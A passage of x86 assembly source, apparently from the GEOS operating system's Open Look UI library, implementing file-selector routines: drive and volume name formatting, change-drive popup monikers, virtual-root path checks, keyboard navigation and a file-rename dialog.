OLFSDeref_SI_Spec_DI endp
;
; pass: *ds:si = OLFileSelector
; return: ds:bx = GFS temp data
;
OLFSFindTempData proc near
uses ax
.enter
EC < call ECCheckObject >
mov ax, TEMP_GEN_FILE_SELECTOR_DATA
call ObjVarDerefData ; ds:bx = var data entry
.leave
ret
OLFSFindTempData endp
;
; pass: ^lbx:si = gen object
; cx;dx = moniker text
; return: nothing
;
if not SINGLE_DRIVE_DOCUMENT_DIR and (FSEL_HAS_CHANGE_DRIVE_POPUP or FSEL_HAS_CHANGE_DIRECTORY_POPUP)
OLFSReplaceVisMonikerText proc near
uses bp
.enter
mov bp, VUM_DELAYED_VIA_UI_QUEUE
mov ax, MSG_GEN_REPLACE_VIS_MONIKER_TEXT
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
.leave
ret
OLFSReplaceVisMonikerText endp
endif
;
; pass:
; *ds:si = OLFileSelector
; return:
; cx = selection number
; destroyed:
; ax, bx, dx, di
;
OLFSGetFileListSelection proc near
uses bp ;save OLFileSelector chunk
.enter
mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION
mov di, offset OLFileSelectorFileList
call OLFSCallUIBlockGadget ;ax = entry number
mov cx, ax ;cx = entry number
.leave
ret
OLFSGetFileListSelection endp
;
; pass:
; *ds:si = OLFileSelector
; dx = TRUE to use current drive, FALSE to use "Change Drive"
; return:
; nothing
; destroyed:
; ax, bx, cx, dx, di
;
if not SINGLE_DRIVE_DOCUMENT_DIR and FSEL_HAS_CHANGE_DRIVE_POPUP
OLFSUpdateChangeDrivePopupMoniker proc near
uses es
driveBuffer local FileLongName
.enter
;
; don't bother if no change drive list
;
call OLFSDeref_SI_Gen_DI
test ds:[di].GFSI_attrs, mask FSA_HAS_CHANGE_DRIVE_LIST
LONG jz done
mov cx, segment olFileSelectorStaticDrivePopupMoniker
mov es, cx
tst es:[olFileSelectorStaticDrivePopupMoniker]
LONG jnz useChangeDrive ; force "Change Drive"
tst dx
LONG jz useChangeDrive
;
; get moniker from current drive
;
if HAVE_FAKE_FILE_SYSTEM
test ds:[di].GFSI_fileCriteria, mask FSFC_USE_FAKE_FILE_SYSTEM
LONG_EC jnz getFakeVolName
endif
call OLFSGetCurrentDrive ; bx = disk handle
; al = drive #
segmov es, ss
lea di, driveBuffer
mov cx, size driveBuffer
mov dx, mask SDAVNF_PASS_DISK_HANDLE
call OLFSStuffDriveAndVolumeName
;
; before actually setting the moniker, let's see if the current
; moniker is already what we're going to set
;
haveVolName:
push si, es
call OLFSDeref_SI_Spec_DI
mov bx, ds:[di].OLFSI_uiBlock
tst bx
jz noUIBlock ; skip with match
call ObjSwapLock
mov ax, MSG_GEN_GET_VIS_MONIKER
mov si, offset OLFileSelectorChangeDrivePopup
push bp
call ObjCallInstanceNoLock ; *ds:ax = moniker chunk
pop bp
tst ax
jz haveResult ; no moniker, no match
mov si, ax
mov si, ds:[si] ; ds:si = VisMoniker
test ds:[si].VM_type, mask VMT_GSTRING
jnz haveResult ; is gstring, no match
ChunkSizePtr ds, si, cx ; cx = VisMoniker size
; cx = size of text
sub cx, size VisMoniker + size VMT_mnemonicOffset
lea si, ds:[si].VM_data.VMT_text ; ds:si = null term'ed text
segmov es, ss ; es:di = desired moniker
lea di, driveBuffer
repe cmpsb ; compare (Z set if match)
haveResult:
call ObjSwapUnlock ; preserves flags
noUIBlock:
pop si, es
je afterSet ; match, don't set again
mov cx, ss ; cx:dx = drive name vol name
lea dx, driveBuffer
mov ax, MSG_GEN_REPLACE_VIS_MONIKER_TEXT
push bp
mov bp, VUM_DELAYED_VIA_UI_QUEUE
mov di, offset OLFileSelectorChangeDrivePopup
call OLFSCallUIBlockGadget
pop bp
afterSet:
call OLFSDeref_SI_Spec_DI
ornf ds:[di].OLFSI_state, mask OLFSS_SHOWING_DRIVE_LETTER
jmp short done
if HAVE_FAKE_FILE_SYSTEM
getFakeVolName:
mov ax, MSG_GEN_FILE_SELECTOR_FAKE_VOLUME_NAME_GET
mov dx, ss
push bp
lea bp, driveBuffer ; dx:bp = driveBuffer
clr cx ; get the current drives volname
call ObjCallInstanceNoLock
pop bp
tst ax
jnz done ; this would be a minor failure.. do nothing
mov es, dx
jmp haveVolName
endif ;HAVE_FAKE_FILE_SYSTEM
useChangeDrive:
call OLFSDeref_SI_Spec_DI
test ds:[di].OLFSI_state, mask OLFSS_SHOWING_DRIVE_LETTER
jz done ; already showing change drive
mov cx, handle ChangeDriveMoniker
mov dx, offset ChangeDriveMoniker ; ^lcx:dx = "Change Drive" mkr
mov ax, MSG_GEN_REPLACE_VIS_MONIKER_OPTR
push bp
mov bp, VUM_DELAYED_VIA_UI_QUEUE
mov di, offset OLFileSelectorChangeDrivePopup
call OLFSCallUIBlockGadget
pop bp
call OLFSDeref_SI_Spec_DI
andnf ds:[di].OLFSI_state, not mask OLFSS_SHOWING_DRIVE_LETTER
done:
.leave
ret
OLFSUpdateChangeDrivePopupMoniker endp
endif
;
; pass:
; *ds:si = OLFileSelector
; returned:
; bx = disk handle
; al = drive number
; destroyed:
; ah
;
if not SINGLE_DRIVE_DOCUMENT_DIR and (FSEL_HAS_CHANGE_DRIVE_POPUP or FSEL_HAS_CHANGE_DIRECTORY_POPUP)
OLFSGetCurrentDrive proc near
mov ax, ATTR_GEN_PATH_DATA
mov dx, TEMP_GEN_PATH_SAVED_DISK_HANDLE
call GenPathFetchDiskHandleAndDerefPath ; ax = disk handle
; ds:bx = GenFilePath
mov bx, ax ; bx = disk handle
call DiskGetDrive ; al = drive #
ret
OLFSGetCurrentDrive endp
endif
;
; pass:
; *ds:si = OLFileSelector
; dx = TRUE if at root, FALSE if not
; return:
; nothing
; destroyed:
; ax, bx, cx, dx, di
;
if not SINGLE_DRIVE_DOCUMENT_DIR and FSEL_HAS_CHANGE_DIRECTORY_POPUP
OLFSDisableCloseAndChangeDirectoryButtonsIfFirstEntryAndIsRoot proc near
uses bp
.enter
call OLFSDeref_SI_Spec_DI ; ds:di = spec instance
; showing parent dir?
test ds:[di].OLFSI_state, mask OLFSS_SHOW_PARENT_DIR
jz firstEntry ; no, always check root
push dx
call OLFSGetFileListSelection ; cx = entry number
pop dx
jcxz firstEntry
enableClose:
mov ax, MSG_GEN_SET_ENABLED
jmp short haveMessage
firstEntry:
;
; first selected, disable if either at root or at virtual root
; (possible failure to set 'atRoot' correctly in the case where
; we have a virtual root (in the OLFSShowCurrentDir routine) requires
; us to check for the virtual root case first)
;
call OLFSIsCurDirVirtualRoot ; at virtual root?
jc disableClose ; yes, disable
tst dx ; at root?
jz enableClose ; no, enable
disableClose:
mov ax, MSG_GEN_SET_NOT_ENABLED
haveMessage:
mov dl, VUM_DELAYED_VIA_UI_QUEUE
mov di, offset OLFileSelectorChangeDirectoryPopup
call OLFSCallUIBlockGadget
.leave
ret
OLFSDisableCloseAndChangeDirectoryButtonsIfFirstEntryAndIsRoot endp
endif
;
; pass:
; *ds:si = file selector
; dx = current path disk handle
; es:di = current path tail
; return:
; nothing
; destroyed:
; ax, bx, cx, dx, di, es
;
if not SINGLE_DRIVE_DOCUMENT_DIR and FSEL_HAS_DOCUMENT_BUTTON
OLFSDisableDocButtonIfDocDir proc near
uses bp
.enter
push ds, si
mov cx, SP_DOCUMENT ; cx = document disk handle
; changed to work for both xip and not xip
; segmov ds, cs ; ds:si = document path
; mov si, offset nullPath
clr si
mov ds, si ; ds = 0 means nullPath
compare:
if _ISUI
call OLFSFileComparePathsEvalLinks
else
call FileComparePaths ; al = PathCompareType
endif
pop ds, si
cmp al, PCT_EQUAL ; document dir?
mov ax, MSG_GEN_SET_ENABLED ; assume not doc dir
jne haveMessage ; nope --> enable
mov ax, MSG_GEN_SET_NOT_ENABLED ; else, disable
haveMessage:
mov dl, VUM_DELAYED_VIA_UI_QUEUE
mov di, offset OLFileSelectorDocumentButton
call OLFSCallUIBlockGadget
.leave
ret
OLFSDisableDocButtonIfDocDir endp
endif
LocalDefNLString nullPath <0>
if _FILE_TABLE
;
; pass:
; ^lbx:si = Table object
; cx = selection number
; return:
; nothing
; destroyed:
; ax, di (bx, cx, dx allowed)
;
OLFSSetFileTableSelection proc near
mov ax, MSG_JTABLE_SCROLL_SELECT_ROW
mov di, mask MF_FIXUP_DS
call ObjMessage
ret
OLFSSetFileTableSelection endp
endif
;
; pass:
; ^lbx:si = GenItemGroup
; cx = selection number
; (if RUDY, *ds:dx = OLFileSelector)
; return:
; nothing
; destroyed:
; ax, cx, bx, dx, di
;
OLFSSetGenItemSelection proc near
uses bp ;save whatever is in bp
.enter
; Assert objectOD bxsi, GenItemGroupClass
clr dx ;not indeterminate
mov di, mask MF_CALL or mask MF_FIXUP_DS
mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION
call ObjMessage
.leave
ret
OLFSSetGenItemSelection endp
;
; pass:
; *ds:si = OLFileSelector
; di = chunk handle of OLFSI_uiBlock gadget to call
; ax, cx, dx, bp = message data
; return:
; ax, cx, dx, bp = message return values
; destroyed:
; bx, di
;
OLFSCallUIBlockGadget proc near
uses si
.enter
push di
call OLFSDeref_SI_Spec_DI
mov bx, ds:[di].OLFSI_uiBlock ; ^lbx:si = gadget
pop si
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
.leave
ret
OLFSCallUIBlockGadget endp
StuffDriveAndVolumeNameFlags record
SDAVNF_PASS_DISK_HANDLE:1 ; set if disk handle is passed
; clear to generate disk handle
SDAVNF_VOLUME_ONLY_FOR_FIXED:1 ; set if volume names should
; only be generated for
; non-removable media
SDAVNF_TRAILING_SLASH:1 ; set to add trialing slash
StuffDriveAndVolumeNameFlags end
;
; pass:
; es:di = buffer for drive and volume name
; cx = size of buffer
; al = drive #
; dx = StuffDriveAndVolumeNameFlags
; ah = DriveStatus (if SDAVNF_VOLUME_ONLY_FOR_FIXED)
; bx = disk handle (if SDAVNF_PASS_DISK_HANDLE)
; return:
; es:di = points at null-terminator at end of as much info as will fit
; into buffer
; destroyed:
; ax, cx
;
OLFSStuffDriveAndVolumeName proc near
uses bx
.enter
SBCS < mov {byte} es:[di], 0 ; in case not enough room >
DBCS < mov {wchar}es:[di], 0 ; in case not enough room >
if SINGLE_DRIVE_DOCUMENT_DIR
SBCS < dec cx ; for the NULL >
DBCS < sub cx, size wchar ; for the NULL >
else
call DriveGetName ; fill in drive name
; es:di = points at null
; cx = bytes remaining in buffer
jc noMoreRoom ; not enough room
SBCS < cmp cx, 2 ; want to put ':' and null >
DBCS < cmp cx, 2*(size wchar) ; want to put ':' and null >
jb noMoreRoom
SBCS < mov {byte} es:[di], ':' ; (preserve al) >
DBCS < mov {wchar} es:[di], ':' ; (preserve ax) >
LocalNextChar esdi
SBCS < mov {byte} es:[di], 0 ; leave di at null >
DBCS < mov {wchar}es:[di], 0 ; leave di at null >
SBCS < sub cx, 2 >
DBCS < sub cx, 2*(size wchar) >
endif
test dx, mask SDAVNF_VOLUME_ONLY_FOR_FIXED ; only for fixed disks?
jz stuffVolume ; no, for all
test ah, mask DS_MEDIA_REMOVABLE ; fixed disk?
jnz afterVolumeName ; no, skip volume name
;
; Even if it's not removable, we don't want to get the volume
; name unless it's a medium we're sure about (Interlink
; drives, for example are DRIVE_UNKNOWN).
;
andnf ah, mask DS_TYPE
cmp ah, DRIVE_FIXED shl offset DS_TYPE
jne afterVolumeName
stuffVolume:
test dx, mask SDAVNF_PASS_DISK_HANDLE ; do we have disk handle?
jnz haveDiskHandle
call DiskRegisterDiskSilently
jc afterVolumeName ; error, just skip volume name
haveDiskHandle:
SBCS < cmp cx, VOLUME_NAME_LENGTH+3 ; '[' + name + ']' + null >
DBCS < cmp cx, (VOLUME_NAME_LENGTH+3)*2 ; '[' + name + ']' + null >
jb noMoreRoom
LocalLoadChar ax, '['
LocalPutChar esdi, ax
call DiskGetVolumeName ; leaves es:di at beginning
; leaves cx alone
SBCS < clr al ; find null-terminator >
DBCS < clr ax ; find null-terminator >
LocalFindChar ; repne scasb/scasw
LocalPrevChar esdi ; point at null
LocalLoadChar ax, ']'
LocalPutChar esdi, ax
SBCS < mov {byte} es:[di], 0 ; leave di at null >
DBCS < mov {wchar}es:[di], 0 ; leave di at null >
SBCS < sub cx, 3 ; account for '[', ']', etc. >
DBCS < sub cx, 3*(size wchar) ; account for '[', ']', etc. >
afterVolumeName:
test dx, mask SDAVNF_TRAILING_SLASH
jz done
SBCS < cmp cx, 2 ; want to put '\' and null >
DBCS < cmp cx, 2*(size wchar) ; want to put '\' and null >
jb noMoreRoom
mov {word} es:[di], '\\' or (0 shl 8) ; leave di at null
DBCS < mov {wchar}es:[di][2], 0 >
noMoreRoom:
done:
.leave
ret
OLFSStuffDriveAndVolumeName endp
;
; pass:
; *ds:si = OLFileSelector
; return:
; nothing
; destroyed:
; ax, bx, cx, dx, di
;
if not SINGLE_DRIVE_DOCUMENT_DIR and FSEL_HAS_CHANGE_DRIVE_POPUP
OLFSSelectCurrentDriveInChangeDrivePopup proc near
uses bp
.enter
;
; don't bother if no change drive list
;
call OLFSDeref_SI_Gen_DI
test ds:[di].GFSI_attrs, mask FSA_HAS_CHANGE_DRIVE_LIST
jz done
call OLFSGetCurrentDrive ; bx = disk handle
; al = drive #
call DriveGetStatus ; ah = DriveStatus
;EC < ERROR_C OL_ERROR >
;if the drive is invalid, just leave whatever we have on the assumption
;that this could only occur if the drive was removed since the last time
;we built the change-drive popup list and that we'll be getting a
;META_REMOVING_DISK soon that will clean things up - brianc 6/16/93
jc done
mov cx, ax ; cx = cur drive identifier
push cx ; save it
mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION
clr dx ; not indeterminate
mov di, offset OLFileSelectorChangeDrivePopup
call OLFSCallUIBlockGadget
pop cx ; cx = cur drive identifier
jnc done ; item not found, give up
;
; set moniker correctly
;
call OLFSDeref_SI_Spec_DI ; ds:di = specific instance
mov dx, TRUE ; assume using current drive
test ds:[di].OLFSI_state, mask OLFSS_SHOWING_DRIVE_LETTER
jnz haveFlag
mov dx, FALSE
haveFlag:
call OLFSUpdateChangeDrivePopupMoniker
done:
.leave
ret
OLFSSelectCurrentDriveInChangeDrivePopup endp
endif
;
; pass:
; *ds:si = OLFileSelector
; bx = ui block
; return:
; nothing
; destroys:
; ax, cx, dx, bp, di
;
OLFSTurnOffGadgetry proc near
uses si
.enter
call OLFSDeref_SI_Gen_DI ; ds:di = generic instance
mov ax, ds:[di].GFSI_attrs ; ax = FileSelectorAttrs
if FSEL_HAS_DOCUMENT_BUTTON
test ax, mask FSA_HAS_DOCUMENT_BUTTON
mov si, offset OLFileSelectorDocumentButton
call OLFSSetUsableOnFlags
endif
if not SINGLE_DRIVE_DOCUMENT_DIR and FSEL_HAS_CHANGE_DIRECTORY_POPUP
test ax, mask FSA_HAS_CHANGE_DIRECTORY_LIST
mov si, offset OLFileSelectorChangeDirectoryPopup
call OLFSSetUsableOnFlags
endif
if not SINGLE_DRIVE_DOCUMENT_DIR and FSEL_HAS_CHANGE_DRIVE_POPUP
test ax, mask FSA_HAS_CHANGE_DRIVE_LIST
mov si, offset OLFileSelectorChangeDrivePopup
call OLFSSetUsableOnFlags
endif
test ax, mask FSA_HAS_FILE_LIST
mov si, offset OLFileSelectorFileList
call OLFSSetUsableOnFlags
.leave
ret
OLFSTurnOffGadgetry endp
;
; pass:
; ^lbx:si = gadget to set usable/not usable
; Z flag = 0 to set usable, 1 to set not usable
; return:
; nothing
; destroyed:
; cx, dx, di, bp
;
OLFSSetUsableOnFlags proc near
uses ax
.enter
mov ax, MSG_GEN_SET_USABLE
jnz haveUsableMsg
mov ax, MSG_GEN_SET_NOT_USABLE
haveUsableMsg:
mov dl, VUM_DELAYED_VIA_UI_QUEUE
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
.leave
ret
OLFSSetUsableOnFlags endp
;
; pass:
; *ds:si = OLFileSelector
; return:
; carry set if current directory is virtual root
; destroyed:
; nothing
;
OLFSIsCurDirVirtualRoot proc near
if 0 ;this code isn't working right
uses ax, bx, cx, ds, si
curPathStart local 2 dup (char)
else
uses ax
endif
.enter
if 0
;
; The normal version of this routine takes up to 10 seconds to complete
; on Redwood, apparently because B: and A: are being compared and some
; (slow?) BIOS calls happen. Anyway, in Redwood we know we're always
; on the B: drive, and that the root is SP_DOCUMENT, so we'll check for
; that instead. 6/ 4/94 cbh (Nuked code, maybe not necessary and
; doesn't work right.)
;
mov cx, size curPathStart
segmov ds, ss, si
lea si, curPathStart
call FileGetCurrentPath
cmp curPathStart+1, 0 ;no path length, done (z=1)
else
call OLFSIsCurDirVirtualRootOrUnderVirtualRoot
jnc done ; not v.root nor under v.root
cmp al, PCT_EQUAL
endif
stc ; assumme is v.root
je done ; yes, done
clc ; else, indicate not
done:
.leave
ret
OLFSIsCurDirVirtualRoot endp
;
; pass:
; *ds:si = OLFileSelector
; return:
; carry set if current directory is virtual root or a subdirectory
; under the virtual root
; al = PCT_EQUAL or PCT_SUBDIR
; destroyed:
; ah
;
OLFSIsCurDirVirtualRootOrUnderVirtualRoot proc near
uses bx, cx, dx, es, di, si, bp
.enter
call OLFSHaveVirtualRoot
jnc done ; no virtual root
call OLFSGetCurDir ; dx = cur dir StdPath
; es:di = cur dir tail
; (do 1st b/c obj block motion)
call OLFSGetVirtualRoot ; cx = v.root StdPath
; ds:si = v.root tail
EC < ERROR_NC OL_ERROR ; no virtual root!?? >
if _ISUI
call OLFSFileComparePathsEvalLinks
else
call FileComparePaths ; al = PathCompareType
endif
cmp al, PCT_EQUAL
stc ; assume so
je done
cmp al, PCT_SUBDIR
stc ; assume so
je done
clc ; else, indicate cur dir is not
; v.root or a subdir of
done:
.leave
ret
OLFSIsCurDirVirtualRootOrUnderVirtualRoot endp
;
; pass:
; *ds:si = OLFileSelector
; return:
; carry clear if no virtual path
; carry set if virtual path found
; cx = best virtual root standard path
; ds:si = best virtual root tail
; destroyed:
; nothing
;
OLFSGetVirtualRoot proc near
uses ax, bx, dx, di, es
.enter
call OLFSHaveVirtualRoot
jnc done ; not found, no virtual root
mov cx, ds:[bx].GFP_disk ; cx = virtual root StdPath
lea si, ds:[bx].GFP_path ; ds:si virtual root tail
stc ; indicate have virtual root
done:
.leave
ret
OLFSGetVirtualRoot endp
;
; pass:
; *ds:si = OLFileSelector
; return:
; carry set if have virtual root
; ds:bx = GenFilePath
; destroyed:
; bx - if carry clear
;
OLFSHaveVirtualRoot proc near
uses ax, di
.enter
call OLFSDeref_SI_Gen_DI ; ds:di = generic instance
test ds:[di].GFSI_attrs, mask FSA_USE_VIRTUAL_ROOT
jz done ; exit w/ carry clear
mov ax, ATTR_GEN_FILE_SELECTOR_VIRTUAL_ROOT
call ObjVarFindData ; carry set if found
done:
.leave
ret
OLFSHaveVirtualRoot endp
;
; pass:
; *ds:si = OLFileSelector
; return:
; dx = best current directory standard path
; es:di = current directory path tail w/best standard path
; destroyed:
; nothing (can cause object block motion)
;
OLFSGetCurDir proc near
uses ax, bx, cx
.enter
mov ax, ATTR_GEN_PATH_DATA
mov dx, TEMP_GEN_PATH_SAVED_DISK_HANDLE
call GenPathFetchDiskHandleAndDerefPath ; ax = disk handle
; ds:bx = GenFilePath
segmov es, ds ; es:di = path tail
lea di, ds:[bx].GFP_path
mov dx, ax ; dx = disk handle
.leave
ret
OLFSGetCurDir endp
;
; pass:
; *ds:si = OLFileSelector
; return:
; nothing
; destroyed:
; ax, cx, dx, di, bp
;
HandleScalableUIData proc near
uses bx, si
.enter
mov ax, HINT_FILE_SELECTOR_SCALABLE_UI_DATA
call ObjVarFindData ; ds:bx = data
jnc done ; no hint
VarDataSizePtr ds, bx, di ; di = size
mov ax, MSG_GEN_APPLICATION_GET_APP_FEATURES
call GenCallApplication ; ax = features, dx = UI level
mov si, ds:[si]
add si, ds:[si].Gen_offset ; ds:si = generic instance
;
; evaluate
; ax = features in application
; dx = UI level
; ds:bx = ptr to current GenFileSelectorScalableUIEntry
; di = size of all GenFileSelectorScalableUIEntry
; ds:si = generic instance
;
scanLoop:
push ax ; save app features
mov cl, ds:[bx].GFSSUIE_command ; ax = command
cmp cl, GFSSUIC_SET_FEATURES_IF_APP_FEATURE_OFF
je setIfAppFeatureOff
cmp cl, GFSSUIC_ADD_FEATURES_IF_APP_FEATURE_ON
je addIfAppFeatureOn
cmp cl, GFSSUIC_SET_FEATURES_IF_APP_LEVEL
je setIfAppLevel
cmp cl, GFSSUIC_ADD_FEATURES_IF_APP_LEVEL
je addIfAppLevel
cmp cl, GFSSUIC_SET_FEATURES_IF_APP_FEATURE_ON
EC < ERROR_NE OL_ERROR >
NEC < jne short next >
setIfAppFeatureOn:
test ax, ds:[bx].GFSSUIE_appFeature
jz next
setFeature:
mov ax, ds:[bx].GFSSUIE_fsFeatures
mov ds:[si].GFSI_attrs, ax
jmp short next
setIfAppFeatureOff:
test ax, ds:[bx].GFSSUIE_appFeature
jz setFeature
jmp short next
addIfAppFeatureOn:
test ax, ds:[bx].GFSSUIE_appFeature
jz next
addFeature:
mov ax, ds:[bx].GFSSUIE_fsFeatures
ornf ds:[si].GFSI_attrs, ax
jmp short next
setIfAppLevel:
cmp dx, ds:[bx].GFSSUIE_appFeature
jae setFeature
jmp short next
addIfAppLevel:
cmp dx, ds:[bx].GFSSUIE_appFeature
jae addFeature
next:
pop ax ; restore app features
add bx, size GenFileSelectorScalableUIEntry
sub di, size GenFileSelectorScalableUIEntry
jnz scanLoop
done:
.leave
ret
HandleScalableUIData endp
;
; handlers for OLFSDynamicListClass
;
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OLFSDynamicListKbdChar
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: handle keyboard navigation
CALLED BY: MSG_META_KBD_CHAR, MSG_META_FUP_KBD_CHAR
PASS: *ds:si = OLFSDynamicListClass object
ds:di = OLFSDynamicListClass instance data
es = segment of OLFSDynamicListClass
ax = MSG_META_KBD_CHAR, MSG_META_FUP_KBD_CHAR
cx = character value
dl = CharFlags
dh = ShiftState
bp low = ToggleState
bp high = scan code
RETURN: nothing
ALLOWED TO DESTROY:
ax, cx, dx, bp
bx, si, di, ds, es
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 1/29/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OLFSDynamicListKbdChar method dynamic OLFSDynamicListClass,
MSG_META_KBD_CHAR, MSG_META_FUP_KBD_CHAR
; don't want this stuff
test dl, mask CF_RELEASE or mask CF_STATE_KEY or mask CF_TEMP_ACCENT
jnz callSuper
SBCS < cmp cx, (CS_BSW shl 8) or VC_BLANK ; space? >
DBCS < cmp cx, C_SPACE ; space? >
jne callSuper ; nope, don't care about it
;
; space -> like double-clicking on focus item
;
doSelect::
push ax, cx, dx, bp
mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION
call ObjCallInstanceNoLock ; ax = identifier
mov di, ax ; di = identifier
pop ax, cx, dx, bp
cmp di, GIGS_NONE
je callSuper ; no selection, skip
push si
mov cx, di ; cx = selection
mov ax, MSG_OL_FILE_SELECTOR_DOUBLE_PRESS
mov bx, segment OLFileSelectorClass
mov si, offset OLFileSelectorClass
mov di, mask MF_RECORD
call ObjMessage ; di = event
pop si
mov cx, di ; cx = event
mov ax, MSG_GEN_GUP_CALL_OBJECT_OF_CLASS
GOTO ObjCallInstanceNoLock
callSuper:
mov di, offset OLFSDynamicListClass
GOTO ObjCallSuperNoLock
OLFSDynamicListKbdChar endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OLFSCheckIfInteractableObject
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: This is called when a UserDoDialog is on the screen, to see
if the passed object can get events.
CALLED BY: GLOBAL
PASS: cx:dx - object
RETURN: carry set if in child block
DESTROYED: nada
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 1/22/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OLFSCheckIfInteractableObject method dynamic OLFileSelectorClass,
MSG_META_CHECK_IF_INTERACTABLE_OBJECT
.enter
cmp cx, ds:[di].OLFSI_uiBlock
stc
je exit
mov di, offset OLFileSelectorClass
call ObjCallSuperNoLock
exit:
.leave
ret
OLFSCheckIfInteractableObject endm
COMMENT @----------------------------------------------------------------------
METHOD: OLFileSelectorDiskErrorResponse --
MSG_OL_FILE_SELECTOR_DISK_ERROR_RESPONSE for OLFileSelectorClass
DESCRIPTION: Response from the user on a disk error.
PASS: *ds:si - instance data
es - segment of MetaClass
ax - MSG_OL_FILE_SELECTOR_DISK_ERROR_RESPONSE
cx - InteractionCommand
RETURN: nothing
ax, cx, dx, bp - destroyed
ALLOWED TO DESTROY:
bx, si, di, ds, es
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
chris 8/ 2/93 Initial Version
------------------------------------------------------------------------------@
if SINGLE_DRIVE_DOCUMENT_DIR
OLFileSelectorDiskErrorResponse method dynamic OLFileSelectorClass, \
MSG_OL_FILE_SELECTOR_DISK_ERROR_RESPONSE
cmp cx, IC_OK
jne cancel
;
; User pressed "OK"; rescan drive.
;
mov ax, MSG_OL_FILE_SELECTOR_DOCUMENT_BUTTON
GOTO ObjCallInstanceNoLock
cancel:
; Don't do this for NIKE, as the file selector contains a
; "New" button which doesn't require having a disk in the drive
;
; User pressed "Cancel," attempt to dismiss the dialog containing
; the file selector.
;
push si
mov bx, segment VisClass ;set to the base class that can handle
mov si, offset VisClass ; the message in ax
mov cx, (CS_CONTROL shl 8) or VC_ESCAPE
mov dl, mask CF_FIRST_PRESS
mov ax, MSG_META_KBD_CHAR
mov di, mask MF_RECORD
call ObjMessage
pop si
mov cx, di
mov ax, MSG_VIS_VUP_CALL_WIN_GROUP
call VisCallParent
ret
OLFileSelectorDiskErrorResponse endm
endif
if _DUI
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OLFileSelectorRename
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Rename the file listed in the file selector.
CALLED BY: MSG_OL_FILE_SELECTOR_RENAME
PASS: *ds:si = OLFileSelectorClass object
ds:di = OLFileSelectorClass instance data
es = segment of OLFileSelectorClass
ax = message #
RETURN: nothing
DESTROYED: ax
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 12/ 1/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OLFileSelectorRename method dynamic OLFileSelectorClass,
MSG_OL_FILE_SELECTOR_RENAME
uses cx, dx, bp
.enter
;
; Get the selected file name
;
call OLFileSelectorGetFileName ;^hbx = filename block
;es:di = filename
push si ;save self lptr
tst bx ;Got filename?
LONG jz done
push bx ;save for unlock later
;
; Create the dialog so that the user can rename the file.
;
push ds:[LMBH_handle]
mov bx, handle RenameDialog
mov si, offset RenameDialog
call UserCreateDialog
mov ax, bx ;ax = dup block
pop bx
call MemDerefDS ;STOFFT uses FIXUP_DS
mov bx, ax ;bx = dup block
mov si, offset RenameText
mov ax, mask GDCA_VM_FILE
call SetTextObjectForFileType
;
; Put the original file name into the dialog box, and bring it up.
;
movdw dxbp, esdi
clr cx
mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR
mov di, mask MF_FIXUP_DS or mask MF_CALL
call ObjMessage
mov ax, MSG_VIS_TEXT_SELECT_ALL
mov di, mask MF_FIXUP_DS or mask MF_CALL
call ObjMessage
mov si, bx
pop bx ;^hbx = file buff block
call MemUnlock
mov bx, si
push ds:[LMBH_handle]
mov si, offset RenameDialog
call UserDoDialog
mov bp, bx ;^hbp = dialog block
pop bx ;^hbx= FileSelector blk
call MemDerefDS
;
; Get the new file name if any
;
mov bx, bp ;^hbx = dialog block
cmp ax, IC_APPLY ;Really rename?
stc ;assume not
jnz destroyAndDone
sub sp, size FileLongName
mov bp, sp
mov dx, ss ;dx:bp = filename buff
mov cx, size FileLongName
mov ax, MSG_VIS_TEXT_GET_ALL_PTR
mov si, offset RenameText
mov di, mask MF_FIXUP_DS or mask MF_CALL
call ObjMessage ;dx:bp = new name
;ax,cx trashed
clc ;continue operation
destroyAndDone:
;
; Destroy the dialog because we don't need it anymore.
; carry set to skip operation
;
pushf ;save continue flag
push ds:[LMBH_handle]
mov si, offset RenameDialog
call UserDestroyDialog
pop bx ;^hbx= FileSelector blk
call MemDerefDS
popf
jc done
;
; Start rename
;
mov si, ss:[bp + size FileLongName] ; *ds:si = self
Assert objectPtr, dssi, OLFileSelectorClass
call OLFileSelectorContinueRename
add sp, FileLongName ;restore stack
;
; Rescan the dir becuase the name of the file has changed.
;
;no need for this as file change notification handles it
